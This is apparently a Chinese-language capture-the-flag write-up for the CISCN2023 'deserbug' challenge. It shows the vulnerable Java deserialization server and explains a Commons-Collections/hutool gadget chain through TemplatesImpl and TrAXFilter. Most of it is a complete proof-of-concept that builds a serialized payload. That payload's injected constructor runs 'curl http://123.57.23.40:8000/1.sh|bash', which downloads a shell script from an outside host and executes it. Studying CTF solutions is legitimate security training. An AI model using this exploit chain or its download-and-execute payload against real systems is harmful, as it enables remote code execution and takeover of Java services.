CISCN2023 Deserbug
这是在一道题目中遇到的情境.也是第一次自己调出来一个java的链子题.
CISCN2023 deserbug
Testapp.java
package com.app;
import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888)
.addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null)
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[] { String.class });
myexpect.setTypearg((Object[])new String[] { e.toString() });
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}
MyExpect.java
package com.app;
import java.lang.reflect.Constructor;
public class Myexpect extends Exception {
private Class[] typeparam;
private Object[] typearg;
private Class targetclass;
public String name;
public String anyexcept;
public Class getTargetclass() {
return this.targetclass;
}
public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}
public Object[] getTypearg() {
return this.typearg;
}
public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}
public Class[] getTypeparam() {
return this.typeparam;
}
public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
}
同时引入了cc3.2.2和hutools依赖,题目提示:
1 . cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
2. jdk8u202
进行分析:首先我们想到cc3.2.2中加入了黑名单,对invokerTransformer进行了过滤.看到MyExpect.java中存在getAnyexcept方法,可以触发任意的构造方法.因此联想到了我们在cc3中使用到的TraxFilter,虽然InstantiateTransformer在cc3.2.2中被黑名单屏蔽,但是可以使用getAnyexcept去进行替代.
如何调用这个getAnyexcept方法呢,题目中又给了提示,可以使用JSONObject中的put方法去调用,进行一个简单的测试:
TemplatesImpl templatesimpl = getTemplatesImpl();
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templatesimpl});
JSONObject json = new JSONObject();
json.put("test", myexpect);
发现能够成功的去执行命令.
而在AspectjWeaver链中我们提到过LazyMap的get方法除了可以调用transform方法以外,还可以调用put方法.后半部分的利用链直接使用AspectjWeaver的就行.
因此写出poc如下:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"curl http://123.57.23.40:8000/1.sh|bash\");");
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = getTemplatesImpl();
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templatesimpl});
// JSONObject json = new JSONObject();
// json.put("test", myexpect);
Map outmap = LazyMap.decorate(new JSONObject(), new ConstantTransformer(myexpect));
outmap.get("test");
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
serial(poc);
// unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out2 = new ObjectOutputStream(bos);
out2.writeObject(obj);
byte[] bytes = bos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

浙公网安备 33010602011771号